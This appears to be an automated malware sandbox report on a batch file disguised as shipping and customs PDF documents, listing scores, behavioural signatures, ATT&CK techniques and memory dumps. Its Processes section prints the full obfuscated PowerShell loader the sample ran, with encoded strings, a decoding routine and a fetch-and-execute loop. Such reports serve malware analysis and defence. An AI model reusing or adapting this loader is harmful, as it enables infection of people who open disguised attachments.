Analysis
- max time kernel
299s - max time network
301s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/06/2026, 16:13
General
- Target awb_trackingnum#_commcial_inv_packinglists_customs_declaration_clearance_documents_pdf.bat
- Size 4KB
- Sample260604-tn86baax21
- SHA256 cbdcf45881be99e1634dc5a1c401d5310662520e6fae3a6a57ca07f078ef97f9
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\awb_trackingnum#_commcial_inv_packinglists_customs_declaration_clearance_documents_pdf.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -windowstyle 1 "mp 'goalin' 'brtsejle' 'nomadi';$vasospastinethe=3;$vasospastixonicimmo=55;function sympath ($vasospasti,$hoplites) {$phleg=flanne('Seawalls Cancerwort Startmasken Morphosis Disestablishedd [dddi uun ::tYYY] NN$ ssvVVVa.EEs >>oU Us---p.QQa%%%s~~~tpp iSSS dd-sssb nnx') ;$phleg+=flanne('Underlayer Elevens Grublet Hvidtllet Saetningers Anlbshwwwolllrmmm UU[gggir rnQQQt >>]kk.$ o.h ,XoUU p;;;l<<<iqqqt CCecccsBBB ');;Udmejsli ($phleg)}function flanne ($vasospastilkaptonu) { $ususens=$vasospastinethe+$vasospastixonicimmo; do {$biologies+=$vasospastilkaptonu[$ususens];$ususens+=4} while ($vasospastilkaptonu[$ususens])$biologies}function Udmejsli ($ususensntrac) {&($colloq) $ususensntrac}Function Bluffenepo190 ($vasospastilkaptonu,$cowshe=0){ ;$iodhy=flanne('Akvamarinerne Ekstraparlementarisk Moralprdikens Arvematt,$ ZZs jjcXX,r ffia ap .Ytm m:cccp|||r,;;eRRRa&& cMMMktttnlllo h,wbbb=LL [##.C|||o');$iodhy+=flanne('Forsikringsfunktionr Ledighedsniveauer Innervation Inds %%nSSSvzzzetttr^^^t tt]');$iodhy+=$blaatsi;$iodhy+=flanne('Mildened scheelin Leukocythemia Protokolchefs Tvedeles H F;;;r C oRRRmZZZBllla!!!s<<<eCCC6AAA4AAASllltx xr???iqqqnnn gFFF(hhh$ wwvFFFaLLLs nnozzzsbbbp eearrrsyyyt WWi-- lqqqkBBBa d,p<<<t d o M.nXXXu^^^)');Udmejsli ($iodhy);For($ususens=0; $preacknow[$ususens] -ne $funktionsp; $ususens++){$preacknow[$ususens] = sympath $preacknow[$ususens] $palaeogr[$ususens%7]}$stenrke=flanne('Toetagershus Compositor Delegationen Gadehjrner Compara^^^$###gff l ppoTTTbdd,a+++lK K:TTTdCCCuCCCo;;;p<<<sfffoAAAn|||i ke>>>= kk[');$stenrke+=flanne('Intervalgrnsens Improbatory Gorge Overthwartwise Flgesk //Tkk ehhhx&&&t');$stenrke+=$eksek;$stenrke+=flanne('Klinikfllesskaber Dandiacally Enret Sprllende SurmountsmmmE++,n ~~c < o///d ++iUUUnX.XgBBB]');$stenrke+=$blaatsi;$stenrke+=flanne('Rajasthani Dismounting datakontrollerne Diftongeringen vvA');$stenrke+=flanne('Rusty Unfutile Holografis Sksporers Tragtbgerkulturen HDD.S');$stenrke+=flanne('Asiat Citherns Endocrinopath Udskydningen Arthrotome Lozz C');$stenrke+=flanne('Jagtlejeudgifter Centesm Cedric Hkeres Sangita Majkatte===I');$stenrke+=flanne('Peritcia Outdrag tegltag Nonfervently Kantarel JulesalagggI');$stenrke+=$eksek;$stenrke+=flanne('Isopsephic Fygninger Peccatiphobia Subintroduction KaldHH G%,%eL.Lt -.SDDDtIIIrn,niooonAAAgGGG(ppp$ LLp&&&r ^^exxxauuuc///k;;.ndddooo,wSSS)');Udmejsli ($stenrke);if ($cowshe) { Udmejsli $duopsonie}else {;$duopsonie}}$palaeogr=@(79,114,116,111,103,114,97);$colloq=flanne 'Blousonjakker Neiper Flisegulve Rachitic anticipatingly>>>I';$vasospastiforisme='\Schelli.Spe';$eksek=flanne('rhythmically Skolebordenes Pavonazzo Ejected Raadhus YnZZZ.');$colloq+=flanne 'Projicerende Mendacious Moraliteten Imagined Esterlin Dq,qE';$blaatsi=flanne('Studenterhuerne passkey Udbulende Blousonens rudkbingen||.:HHH:');$colloq+=flanne 'Skinverdenerne smaapakken Thyboer Filamentgarners AmiabYYYX';$hoplitesilb=Bluffenepo190 'elxET08lCCEWGxgUUi8bUkVfSUJabyUdAVFGWm8KQltcUhM5SEVaV1xRZlIzCgQZDmBARF5XQlB/Q1QpDgAEKR0MQFZHUWFC';$undercha=Bluffenepo190 'JwYAH11dTiYfBAAVBgQ9AREXFx0TOxcGHA4cAmERGwJIMRQ/ABUCClwJJwI=';$fustin=Bluffenepo190 'cQ==';;Bluffenepo190 'axUYAAUTDXUCGAYVAAQhT1AKCQRbLgIECwYGAGRWAg4UHRI/EwcbDhQOPRsHAgI=' 1;Bluffenepo190 'axUYAAUTDXUWBg4XGlxrBxoLAgACJxNaHBceCDtaUAkSARUmHF0=' 1;Bluffenepo190 'FDwRG0khBD0EHQwCIg4mHAAiBhwAKBcGMl1IMioRAR0OBhgfABsbCBEOI09HX1BA' 1;$undercha=$draph[0];$fals=(Bluffenepo190 'axUYAAUTDXUHGh8LEw8hGxpSKRcWYj0WBQIRFW88ERtJJQQtMRgGAhwV');Udmejsli ($fals);Bluffenepo190 'awcaHwsTDyEbGkEvFwArFwYcPCkvKgZaJxMGER0XBRoCARUHFxULAgA8e0IpUkMaDj8eHRsCAQgjEA==' 1;$ususensrrelat=Bluffenepo190 'Cx0DAQsdACs0HQMC';$snebold=Bluffenepo190 'awcaHwsTDyEbGkFDBxI6AREBFAATKh4VG0k7DzkdHwpPVhQhFhEdBBoAY1YfCgkWSA==';$kend=$plirren;Bluffenepo190 'axUYAAUTDXUfGwsSHlN9R0lHMxcSO18kDhMaQWsZEQEDWw==' 1;while (!$modul225) {Bluffenepo190 'axUYAAUTDXUiGwAVHAQ8T1AbFQcE' 1;Udmejsli $snebold;Bluffenepo190 'HB4RChdaVWY=' 1;Bluffenepo190 'axUYAAUTDXUfGwsSHlN9R0lHMxcSO18kDhMaQWsZEQEDWw==' 1 ;Bluffenepo190 'axUYAAUTDXUEHQEUBhQqT1AICx0DLh5OGwgFCCoZGxlMWURrFgYOFxpPLB0BARM=' 1;$undercha=$draph[$vinstue]}$ephebeh=153584;$kommunik=15259;Bluffenepo190 'axUYAAUTDXUWHRwOHggsGxdSABFBaxkRAQM=' 1;Bluffenepo190 'axUYAAUTDXUaBgoRAAVyKTcACQQEPQYpVV00EyAfNg4UF1d7IQAdDhwGZ1YQBhQbDSYRHQxO' 1;Bluffenepo190 'axUYAAUTDXUZGx0VF1wUJhEXE1wkIREbCw4cBhJITi40MSgGXDMKEyEVPRsaCE9WCT0XAh0DWw==' 1;Bluffenepo190 'axUYAAUTDXUUGx0AT0UkHQYdAlwSOhAHGxUbDyhaUAoXGgQtFxxDQxkOIh8BAQ4ZSA==' 1;Udmejsli $forg;#Opsl Ungdomssk Zonesthes Industr KIEX ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_pcuoampt.gsf.ps1
memory/4676-1-0x0000024350D20000-0x0000024350D30000-memory.dmp
memory/4676-0-0x0000024350D20000-0x0000024350D30000-memory.dmp
memory/4676-2-0x0000024352E40000-0x0000024352E62000-memory.dmp
memory/4676-10-0x0000024350D20000-0x0000024350D30000-memory.dmp
memory/4676-11-0x0000024350D20000-0x0000024350D30000-memory.dmp
memory/4676-13-0x0000024350D20000-0x0000024350D30000-memory.dmp
memory/4676-12-0x0000024350D20000-0x0000024350D30000-memory.dmp
memory/4676-14-0x0000024350D20000-0x0000024350D30000-memory.dmp
memory/4676-15-0x0000024350D20000-0x0000024350D30000-memory.dmp